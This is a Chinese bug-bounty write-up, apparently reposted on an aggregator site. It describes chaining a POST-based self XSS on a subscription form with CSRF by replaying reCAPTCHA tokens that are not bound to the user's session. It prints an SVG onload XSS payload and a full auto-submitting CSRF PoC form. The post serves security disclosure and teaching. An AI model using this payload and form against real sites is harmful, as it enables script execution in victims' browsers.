当前位置: 首页 > news >正文

记一次Self XSS+CSRF组合利用

视频教程在我主页简介或专栏里

(不懂都可以来问我 专栏找我哦)

目录: 

    确认 XSS 漏洞

 确认 CSRF 漏洞

这个漏洞是我在应用程序的订阅表单中发现的一个 XSS 漏洞,只能通过 POST 请求进行利用。通常情况下,基于 POST 的 XSS 如果没有与 CSRF 结合来展示其影响力,那么这就是一个普通的反射型 XSS(Self XSS)。本来这不会成为一个大问题,但这个表单中实现了 Google reCAPTCHA v2。本文将探讨我是如何绕过 CAPTCHA,从而成功实现 CSRF 攻击的。

图片

为了保持匿名性,我们假设目标网站是 https://www.target.com。当你访问 target.com 时,会看到一个注册和登录表单,但引起我注意的是一个订阅按钮,该按钮会将你引导至 https://www.target.com/subscribe。在这个页面上,会显示一个表单。

图片

提交表单后,我们会收到一条感谢消息,其中显示了我们的名字(例如 John)。

图片

确认 XSS 漏洞

我们可以使用以下 payload 在该字段中测试反射型 XSS 漏洞:

"><svg/onload=confirm(document.domain)>

图片

当我们提交表单时,payload 被成功执行。现在我们已经确认了漏洞的存在,但问题在于,这个漏洞基于 POST 请求,如果没有 CSRF 的配合,它就会变成一个自我 XSS(Self XSS)。

图片

确认 CSRF 漏洞

如果 CAPTCHA 没有被稳健地实现,它并不能保护应用程序免受 CSRF 攻击,主要作用只是提供一定程度的速率限制。在解决 CAPTCHA 后,会生成三个动态参数:captcha_sidcaptcha_token 和 g_recaptcha_response。这里的“动态”是指它们的值会在每次解决 CAPTCHA 时发生变化。要构造一个完美的 CSRF 表单,我们需要能够为这些参数传递有效的值。

图片

那么,如果我在另一个浏览器中解决了 CAPTCHA,但不将其提交到服务器,而是将这些答案重放到 CSRF 表单中,会怎样呢? 我在一个私密标签页中打开了表单页面,填写了表单内容,然后解决了 CAPTCHA。我在 Burp Suite 中启用了拦截功能,并点击了提交。请求被拦截后,我复制了 CAPTCHA 参数的值,并将它们插入到我的 CSRF 漏洞利用演示(PoC)表单中。

<html> <body> <h1>CSRF PoC</h1> <form action="https://www.target.com/subscribe" method="POST"> <input type="hidden" name="name_first" value="'><svg/onload=confirm(document.domain)>" /> <input type="hidden" name="name_last" value="Doe" /> <input type="hidden" name="email_address" value="test@fake.com" /> <input type="hidden" name="company_name" value="FakeCompany" /> <input type="hidden" name="captcha_sid" value="INSERT-HERE" /> <input type="hidden" name="captcha_token" value="INSERT-HERE" /> <input type="hidden" name="captcha_response" value="Google no captcha" /> <input type="hidden" name="g-recaptcha-response" value="INSERT-HERE" /> <input type="hidden" name="captcha_cacheable" value="1" /> <input type="hidden" name="op" value="Submit" /> <input type="hidden" name="form_build_id" value="form-Vwtw-XX&" /> <input type="hidden" name="form_id" value="XX_subscribe_sign_up_form" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body></html>

剩下要做的就是将这个 CSRF 漏洞利用表单托管起来,让受害者访问。受害者访问你的恶意网站后,会被重定向到 https://www.target.com/subscribe,订阅表单会在没有任何交互的情况下自动提交,JavaScript 代码则会在他们的浏览器中执行。

图片

总结来说,CAPTCHA 并未绑定到用户的会话,因此未提交的其他用户的 CAPTCHA 答案可以被重放,用于我们的攻击。

我将这一发现提交给了他们的安全团队,他们迅速确认并修复了这个问题。

图片

视频教程在我主页简介或专栏里

(不懂都可以来问我 专栏找我哦)

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

http://www.lryc.cn/news/536372.html

相关文章:

  • JVM 类加载子系统在干什么?
  • Golang轻松实现消息模板变量替换:text/template
  • DeepSeek模型R1服务器繁忙,怎么解决?
  • 《探秘Windows 10驱动开发:从入门到实战》
  • Golang的容器化部署流程
  • 计算机网络,大白话
  • 智慧城市V4系统小程序源码独立版全插件全开源
  • SpringBoot分布式应用程序和数据库在物理位置分配上、路由上和数量上的最佳实践是什么?
  • 【LeetCode Hot100 哈希】两数之和、字母异位词分组、最长连续序列
  • Jenkins 通过 Execute Shell 执行 shell 脚本 七
  • 无人机常见的定位方式
  • 【Git版本控制器】:第一弹——Git初识,Git安装,创建本地仓库,初始化本地仓库,配置config用户名,邮箱信息
  • 使用 EDOT 监测由 OpenAI 提供支持的 Python、Node.js 和 Java 应用程序
  • 基于 STM32 的病房监控系统
  • 线上HBase client返回超时异常分析 HBase callTimeout=60000
  • 03.开闭原则详细介绍
  • 前端职业规划
  • 杂记:STM32 调试信息打印实现方式
  • python+unity落地方案实现AI 换脸融合
  • ComfyUI流程图生图原理详解
  • 【C++ 真题】P1824 进击的奶牛
  • 26、深度学习-自学之路-NLP自然语言处理-理解加程序,怎么把现实的词翻译给机器识别。
  • 24电子信息类研究生复试面试问题汇总 电子信息类专业知识问题最全!电子信息复试全流程攻略 电子信息考研复试真题汇总
  • leetcode25. K 个一组翻转链表
  • 工厂方法模式详解(Java)
  • SpringBoot+Dubbo+zookeeper 急速入门案例
  • pdf.js默认显示侧边栏和默认手形工具
  • 数据库第三次作业
  • 渗透利器:YAKIT 工具-基础实战教程.
  • 变分边界详解